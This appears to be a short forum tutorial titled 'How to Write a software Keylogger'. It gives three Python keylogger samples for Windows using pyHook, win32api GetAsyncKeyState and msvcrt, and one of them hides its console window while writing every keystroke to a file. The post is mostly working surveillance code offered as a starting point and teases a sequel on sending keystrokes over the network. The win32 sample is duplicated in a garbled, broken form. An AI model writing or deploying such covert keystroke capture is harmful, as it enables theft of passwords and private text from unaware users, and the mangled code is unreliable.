How to Write a software Keylogger
According to wiki key loggers perform the following:
My First example: A Module designed for this purpose:
A lot of languages will have key logging modules already available for use, python has one called PyHook. Here is an example of PyHook
import pythoncom, pyHook
def OnKeyboardEvent(event):
print event.Key
return True
# create a hook manager
hm = pyHook.HookManager()
# watch for all key events
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()
We then call our pyHook functions to listen for our keyboard input.
Wow a keylogger in about 8 – 20 lines of code
Next we can move on to win api
import win32api
import win32console
import win32gui
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
try:
mylog_file = open("/HOME/output.txt","a")
except IOError:
print "Error grabbing file"
else:
while 1:
for i in range(32, 256):
keyit = win32api.GetAsyncKeyState(i)
if keyit == -32767:
keyEnd = 81
mylog_file.write(chr(i))
if i == keyEnd:
mylog_file.close()
keyin = open("/HOME/output.txt","r")
data = keyin.read()
import necessary modules
import win32api
import win32console
import win32gui
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
try:
mylog_file = open("/HOME/output.txt","a")
except IOError:
print "Error grabbing file"
for i in range(32, 256):
keyit = win32api.GetAsyncKeyState(i)
keyEnd = 81
mylog_file.write(chr(i))
if i == keyEnd:
mylog_file.close()
keyin = open("/HOME/output.txt","r")
data = keyin.read()
Now onto a different method kind a
import msvcrt
def main():
while 1:
data = msvcrt.getch()
mylog_file = open("/HOME/output.txt","a")
mylog_file.write(str(data))
mylog_file.close()
if __name__ == '__main__':
main()
Pretty simple code
This is just code to be a starting point I do not say these ways are the best or only ways its more or less meant as a very basic introduction to coding keyloggers
Next article (Sending keystrokes over the network)
Resources
PyHook SourceForge.net: pyhook home
GetAsyncKeyState GetAsyncKeyState Function ()
Regards,
Atari.2600
Comment